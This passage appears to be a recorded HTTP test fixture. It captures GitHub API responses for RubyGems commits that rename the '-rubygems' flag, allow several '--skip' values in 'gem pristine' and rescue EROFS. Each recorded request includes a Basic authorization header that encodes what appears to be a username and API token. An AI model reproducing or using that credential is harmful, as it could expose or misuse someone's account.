2.5\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","html_url":"https://github.com/rubygems/rubygems/commit/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"40d554dd33e94c3968cd335da6283785d5121bdc","url":"https://api.github.com/repos/rubygems/rubygems/commits/40d554dd33e94c3968cd335da6283785d5121bdc","html_url":"https://github.com/rubygems/rubygems/commit/40d554dd33e94c3968cd335da6283785d5121bdc"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"ccb4929a930f568b8473ae994845139e760b24ca","filename":"test/rubygems/test_gem.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/77fc5360b7c259fb1c22a56e33e20f0250dbaeb4/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=77fc5360b7c259fb1c22a56e33e20f0250dbaeb4","patch":"@@ -1509,7 +1509,7 @@ def test_looks_for_gemdeps_files_automatically_on_start\n \n path = File.join @tempdir, \"gem.deps.rb\"\n cmd = [Gem.ruby.dup.untaint, \"-I#{LIB_PATH.untaint}\",\n- \"-I#{BUNDLER_LIB_PATH.untaint}\", \"-rubygems\"]\n+ \"-I#{BUNDLER_LIB_PATH.untaint}\", \"-rrubygems\"]\n if RUBY_VERSION < ''1.9''\n cmd << \"-e ''puts Gem.loaded_specs.values.map(&:full_name).sort''\"\n cmd = cmd.join('' '')"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:07 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/40d554dd33e94c3968cd335da6283785d5121bdc body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:07 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4434' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5a670e9e6000646aeb4474821a15308a" Last-Modified: - Fri, 06 Oct 2017 13:29:09 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.068637' X-Github-Request-Id: - C59C:4D95:F48409:1C8435E:5A50E477 body: encoding: ASCII-8BIT string: '{"sha":"40d554dd33e94c3968cd335da6283785d5121bdc","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T13:29:09Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T13:29:09Z"},"message":"Auto merge of #2027 - hsbt:rename-rubygems, r=segiddins\n\nRename `-rubygems` option.\n\nThis option only needs Ruby 1.8. and It will remove at Ruby 2.5.\n\nThis commit was picked r60125 from ruby/ruby: https://github.com/ruby/ruby/commit/9de6c712b66aad77df40661c1fc6d37e9a5c251a","tree":{"sha":"1a1dbd2a09e4767bdd21d44e5bbcbd499b57196a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1a1dbd2a09e4767bdd21d44e5bbcbd499b57196a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/40d554dd33e94c3968cd335da6283785d5121bdc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/40d554dd33e94c3968cd335da6283785d5121bdc","html_url":"https://github.com/rubygems/rubygems/commit/40d554dd33e94c3968cd335da6283785d5121bdc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/40d554dd33e94c3968cd335da6283785d5121bdc/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"432961da58e4cb58667eddd1e88cc240509174dd","url":"https://api.github.com/repos/rubygems/rubygems/commits/432961da58e4cb58667eddd1e88cc240509174dd","html_url":"https://github.com/rubygems/rubygems/commit/432961da58e4cb58667eddd1e88cc240509174dd"},{"sha":"682dbde14b952b396240158daf636e3dc5bfc826","url":"https://api.github.com/repos/rubygems/rubygems/commits/682dbde14b952b396240158daf636e3dc5bfc826","html_url":"https://github.com/rubygems/rubygems/commit/682dbde14b952b396240158daf636e3dc5bfc826"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"4b3534bf358bccc733c179c3a589c2ab6f576a48","filename":"lib/rubygems/ext/rake_builder.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/40d554dd33e94c3968cd335da6283785d5121bdc/lib/rubygems/ext/rake_builder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/40d554dd33e94c3968cd335da6283785d5121bdc/lib/rubygems/ext/rake_builder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/ext/rake_builder.rb?ref=40d554dd33e94c3968cd335da6283785d5121bdc","patch":"@@ -20,7 +20,7 @@ def self.build(extension, directory, dest_path, results, args=[], lib_dir=nil)\n rake = ENV[''rake'']\n \n rake ||= begin\n- \"#{Gem.ruby} -rubygems #{Gem.bin_path(''rake'', ''rake'')}\"\n+ \"#{Gem.ruby} -rrubygems #{Gem.bin_path(''rake'', ''rake'')}\"\n rescue Gem::Exception\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:07 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/682dbde14b952b396240158daf636e3dc5bfc826 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:08 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4433' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3f7bd50cf19ceae741d26488be88df23" Last-Modified: - Fri, 06 Oct 2017 12:44:36 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.051866' X-Github-Request-Id: - A2CE:4D97:903A98:1C48071:5A50E478 body: encoding: ASCII-8BIT string: '{"sha":"682dbde14b952b396240158daf636e3dc5bfc826","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-06T03:21:55Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-06T12:44:36Z"},"message":"Picked r60125 from ruby/ruby.\n\n https://github.com/ruby/ruby/commit/9de6c712b66aad77df40661c1fc6d37e9a5c251a","tree":{"sha":"1a1dbd2a09e4767bdd21d44e5bbcbd499b57196a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1a1dbd2a09e4767bdd21d44e5bbcbd499b57196a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/682dbde14b952b396240158daf636e3dc5bfc826","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/682dbde14b952b396240158daf636e3dc5bfc826","html_url":"https://github.com/rubygems/rubygems/commit/682dbde14b952b396240158daf636e3dc5bfc826","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/682dbde14b952b396240158daf636e3dc5bfc826/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"432961da58e4cb58667eddd1e88cc240509174dd","url":"https://api.github.com/repos/rubygems/rubygems/commits/432961da58e4cb58667eddd1e88cc240509174dd","html_url":"https://github.com/rubygems/rubygems/commit/432961da58e4cb58667eddd1e88cc240509174dd"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"4b3534bf358bccc733c179c3a589c2ab6f576a48","filename":"lib/rubygems/ext/rake_builder.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/682dbde14b952b396240158daf636e3dc5bfc826/lib/rubygems/ext/rake_builder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/682dbde14b952b396240158daf636e3dc5bfc826/lib/rubygems/ext/rake_builder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/ext/rake_builder.rb?ref=682dbde14b952b396240158daf636e3dc5bfc826","patch":"@@ -20,7 +20,7 @@ def self.build(extension, directory, dest_path, results, args=[], lib_dir=nil)\n rake = ENV[''rake'']\n \n rake ||= begin\n- \"#{Gem.ruby} -rubygems #{Gem.bin_path(''rake'', ''rake'')}\"\n+ \"#{Gem.ruby} -rrubygems #{Gem.bin_path(''rake'', ''rake'')}\"\n rescue Gem::Exception\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:08 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/18b940483b61a446d0bd7d9b449cb35781438e11 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:08 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4432' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f52d0b3424f7500fa8606025a28ca596" Last-Modified: - Fri, 06 Oct 2017 12:17:37 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.061470' X-Github-Request-Id: - C5A0:4D96:971A58:13A417F:5A50E478 body: encoding: ASCII-8BIT string: '{"sha":"18b940483b61a446d0bd7d9b449cb35781438e11","commit":{"author":{"name":"Henne Vogelsang","email":"hvogel@opensuse.org","date":"2017-10-06T12:14:28Z"},"committer":{"name":"Henne Vogelsang","email":"hvogel@opensuse.org","date":"2017-10-06T12:17:37Z"},"message":"Skip more than one gem in pristine\n\nTurn --skip into an array of values to make it possible\nto skip more than one gem when running pristine.","tree":{"sha":"bcd4de1959ce422ed68a1457c7a711774d593c54","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bcd4de1959ce422ed68a1457c7a711774d593c54"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/18b940483b61a446d0bd7d9b449cb35781438e11","comment_count":0,"verification":{"verified":false,"reason":"not_signing_key","signature":"-----BEGIN PGP SIGNATURE-----\n\niF0EABECAB0WIQQACIdiEC4Z0d5/7+qdYWTClV+t4AUCWdd0cgAKCRCdYWTClV+t\n4G6/AJwMgv2CVx0VXqHPCTlwUt7PLZwDOwCdG3rGEQa8tKtydqtySgx543znvqY=\n=Cdcr\n-----END PGP SIGNATURE-----","payload":"tree bcd4de1959ce422ed68a1457c7a711774d593c54\nparent 432961da58e4cb58667eddd1e88cc240509174dd\nauthor Henne Vogelsang 1507292068 +0200\ncommitter Henne Vogelsang 1507292257 +0200\n\nSkip more than one gem in pristine\n\nTurn --skip into an array of values to make it possible\nto skip more than one gem when running pristine.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/18b940483b61a446d0bd7d9b449cb35781438e11","html_url":"https://github.com/rubygems/rubygems/commit/18b940483b61a446d0bd7d9b449cb35781438e11","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/18b940483b61a446d0bd7d9b449cb35781438e11/comments","author":{"login":"hennevogel","id":514785,"avatar_url":"https://avatars1.githubusercontent.com/u/514785?v=4","gravatar_id":"","url":"https://api.github.com/users/hennevogel","html_url":"https://github.com/hennevogel","followers_url":"https://api.github.com/users/hennevogel/followers","following_url":"https://api.github.com/users/hennevogel/following{/other_user}","gists_url":"https://api.github.com/users/hennevogel/gists{/gist_id}","starred_url":"https://api.github.com/users/hennevogel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hennevogel/subscriptions","organizations_url":"https://api.github.com/users/hennevogel/orgs","repos_url":"https://api.github.com/users/hennevogel/repos","events_url":"https://api.github.com/users/hennevogel/events{/privacy}","received_events_url":"https://api.github.com/users/hennevogel/received_events","type":"User","site_admin":false},"committer":{"login":"hennevogel","id":514785,"avatar_url":"https://avatars1.githubusercontent.com/u/514785?v=4","gravatar_id":"","url":"https://api.github.com/users/hennevogel","html_url":"https://github.com/hennevogel","followers_url":"https://api.github.com/users/hennevogel/followers","following_url":"https://api.github.com/users/hennevogel/following{/other_user}","gists_url":"https://api.github.com/users/hennevogel/gists{/gist_id}","starred_url":"https://api.github.com/users/hennevogel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hennevogel/subscriptions","organizations_url":"https://api.github.com/users/hennevogel/orgs","repos_url":"https://api.github.com/users/hennevogel/repos","events_url":"https://api.github.com/users/hennevogel/events{/privacy}","received_events_url":"https://api.github.com/users/hennevogel/received_events","type":"User","site_admin":false},"parents":[{"sha":"432961da58e4cb58667eddd1e88cc240509174dd","url":"https://api.github.com/repos/rubygems/rubygems/commits/432961da58e4cb58667eddd1e88cc240509174dd","html_url":"https://github.com/rubygems/rubygems/commit/432961da58e4cb58667eddd1e88cc240509174dd"}],"stats":{"total":41,"additions":34,"deletions":7},"files":[{"sha":"817e7522665f3c2984ea4787f180587ca2a4896e","filename":"lib/rubygems/commands/pristine_command.rb","status":"modified","additions":9,"deletions":6,"changes":15,"blob_url":"https://github.com/rubygems/rubygems/blob/18b940483b61a446d0bd7d9b449cb35781438e11/lib/rubygems/commands/pristine_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/18b940483b61a446d0bd7d9b449cb35781438e11/lib/rubygems/commands/pristine_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/pristine_command.rb?ref=18b940483b61a446d0bd7d9b449cb35781438e11","patch":"@@ -24,7 +24,8 @@ def initialize\n \n add_option(''--skip=gem_name'',\n ''used on --all, skip if name == gem_name'') do |value, options|\n- options[:skip] = value\n+ options[:skip] ||= []\n+ options[:skip] << value\n end\n \n add_option(''--[no-]extensions'',\n@@ -115,9 +116,11 @@ def execute\n next\n end\n \n- if spec.name == options[:skip]\n- say \"Skipped #{spec.full_name}, it was given through options\"\n- next\n+ if options.has_key? :skip\n+ if options[:skip].include? spec.name\n+ say \"Skipped #{spec.full_name}, it was given through options\"\n+ next\n+ end\n end\n \n if spec.bundled_gem_in_old_ruby?\n@@ -157,14 +160,14 @@ def execute\n install_defaults.to_s[''--env-shebang'']\n end\n \n- installer_options = { \n+ installer_options = {\n :wrappers => true,\n :force => true,\n :install_dir => spec.base_dir,\n :env_shebang => env_shebang,\n :build_args => spec.build_args,\n }\n- \n+\n if options[:only_executables] then\n installer = Gem::Installer.for_spec(spec, installer_options)\n installer.generate_bin"},{"sha":"806ed87007b1506632da6f4a62640dd417260a3b","filename":"test/rubygems/test_gem_commands_pristine_command.rb","status":"modified","additions":25,"deletions":1,"changes":26,"blob_url":"https://github.com/rubygems/rubygems/blob/18b940483b61a446d0bd7d9b449cb35781438e11/test/rubygems/test_gem_commands_pristine_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/18b940483b61a446d0bd7d9b449cb35781438e11/test/rubygems/test_gem_commands_pristine_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_pristine_command.rb?ref=18b940483b61a446d0bd7d9b449cb35781438e11","patch":"@@ -253,6 +253,31 @@ def test_skip\n assert_empty out, out.inspect\n end\n \n+ def test_skip_many_gems\n+ a = util_spec ''a''\n+ b = util_spec ''b''\n+ c = util_spec ''c''\n+\n+ install_gem a\n+ install_gem b\n+ install_gem c\n+\n+ @cmd.options[:args] = %w[a b c]\n+ @cmd.options[:skip] = [''a'', ''c'']\n+\n+ use_ui @ui do\n+ @cmd.execute\n+ end\n+\n+ out = @ui.output.split \"\\n\"\n+\n+ assert_equal \"Restoring gems to pristine condition...\", out.shift\n+ assert_equal \"Skipped #{a.full_name}, it was given through options\", out.shift\n+ assert_equal \"Restored #{b.full_name}\", out.shift\n+ assert_equal \"Skipped #{c.full_name}, it was given through options\", out.shift\n+ assert_empty out, out.inspect\n+ end\n+\n def test_execute_many_multi_repo\n a = util_spec ''a''\n install_gem a\n@@ -488,4 +513,3 @@ def test_handle_options_extensions\n end\n \n end\n-"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:08 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/432961da58e4cb58667eddd1e88cc240509174dd body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:08 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4431' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3f8641ccb3ec6690de9e2f79d99dcc69" Last-Modified: - Fri, 06 Oct 2017 08:08:17 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041691' X-Github-Request-Id: - C5A2:4D94:4F0211:B307D5:5A50E478 body: encoding: ASCII-8BIT string: '{"sha":"432961da58e4cb58667eddd1e88cc240509174dd","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T08:08:17Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T08:08:17Z"},"message":"Auto merge of #1417 - nobu:bug/read_binary-rofs, r=hsbt\n\nrescue EROFS\n\nWhen the source directory is placed on a read-only filesystem,\nEROFS is raised but not EACCES.","tree":{"sha":"d7606a35f3a817d947f33f41d7b69108e4f021ac","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d7606a35f3a817d947f33f41d7b69108e4f021ac"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/432961da58e4cb58667eddd1e88cc240509174dd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/432961da58e4cb58667eddd1e88cc240509174dd","html_url":"https://github.com/rubygems/rubygems/commit/432961da58e4cb58667eddd1e88cc240509174dd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/432961da58e4cb58667eddd1e88cc240509174dd/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"edadc27ce5eed3aab6cdccb665872a69f8483f1f","url":"https://api.github.com/repos/rubygems/rubygems/commits/edadc27ce5eed3aab6cdccb665872a69f8483f1f","html_url":"https://github.com/rubygems/rubygems/commit/edadc27ce5eed3aab6cdccb665872a69f8483f1f"},{"sha":"aaaddde172d10847822ae4fc5186ad3ff1cc9f99","url":"https://api.github.com/repos/rubygems/rubygems/commits/aaaddde172d10847822ae4fc5186ad3ff1cc9f99","html_url":"https://github.com/rubygems/rubygems/commit/aaaddde172d10847822ae4fc5186ad3ff1cc9f99"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"d819bdee02e451fe61034f8c54ef77ec2b956002","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/432961da58e4cb58667eddd1e88cc240509174dd/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/432961da58e4cb58667eddd1e88cc240509174dd/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=432961da58e4cb58667eddd1e88cc240509174dd","patch":"@@ -163,7 +163,7 @@ module Gem\n # these are defined in Ruby 1.8.7, hence the need for this convoluted setup.\n \n READ_BINARY_ERRORS = begin\n- read_binary_errors = [Errno::EACCES]\n+ read_binary_errors = [Errno::EACCES, Errno::EROFS]\n read_binary_errors << Errno::ENOTSUP if Errno.const_defined?(:ENOTSUP)\n read_binary_errors\n end.freeze"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:08 GMT - request: method: get uri: 